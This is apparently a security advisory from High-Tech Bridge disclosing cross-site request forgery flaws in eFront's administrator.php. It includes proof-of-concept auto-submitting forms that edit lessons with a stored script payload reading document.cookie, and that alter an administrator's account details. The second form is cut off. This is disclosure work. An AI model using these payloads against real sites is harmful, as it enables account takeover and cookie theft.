Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in eFront which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in eFront
1.1 The vulnerability exists due to insufficient validation of the request origin in administrator.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit arbitrary lessons. Due to insufficient sanitation of input data in the "name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://[host]/administrator.php?ctg=lessons&edit_lesson=4" method="post" name="main" >
<input type="hidden" name="_qf__add_lessons_form" value="" />
<input type="hidden" name="name" value='How to be a programmer - Beginner"><script>alert(document.cookie)</script>' />
<input type="hidden" name="languages_NAME" value="english" />
<input type="hidden" name="directions_ID" value="2" />
<input type="hidden" name="course_only" value="1" />
<input type="hidden" name="active" value="0" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="show_catalog" value="0" />
<input type="hidden" name="show_catalog" value="1" />
<input type="hidden" name="price" value="0" />
<input type="hidden" name="recurring" value="0" />
<input type="hidden" name="D_duration" value="1" />
<input type="hidden" name="W_duration" value="1" />
<input type="hidden" name="M_duration" value="1" />
<input type="hidden" name="Y_duration" value="1" />
<input type="hidden" name="max_users" value="" />
<input type="hidden" name="duration" value="" />
<input type="hidden" name="copy_properties" value="0" />
<input type="hidden" name="submit_lesson" value="Submit" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in administrator.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify administrator`s credentials.
Exploitation example:
<form action="http://[host]/administrator.php?ctg=users&edit_user=test" method="post" name="main" >
<input type="hidden" name="_qf__change_users_form" value="" />
<input type="hidden" name="password_" value="" />
<input type="hidden" name="passrepeat" value="" />
<input type="hidden" name="name" value="myname" />
<input type="hidden" name="surname" value="mysurname" />
<input type="hidden" name="father" value="" />
<input type="hidden" name="sex" value="0" />
<input type="hidden" name="marital_status" value="0" />
<input type="hidden" name="birthday" value="" />
<input type="hidden" name="birthplace" value="" />
<input type="hidden" name="birthcountry" value="" />
<input type="hidden" name="mother_tongue" value="" />
<input type="hidden" name="nationality" value="" />
<input type="hidden" name="branches_main" value="0" />
<input type="hidden" name="placement" value="0" />
<input type="hidden" name="office" value="" />
<input type="hidden" name="company_internal_phone" value="" />

<input type="hidden" name="active" value="" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submit_personal_details" value="Submit" />
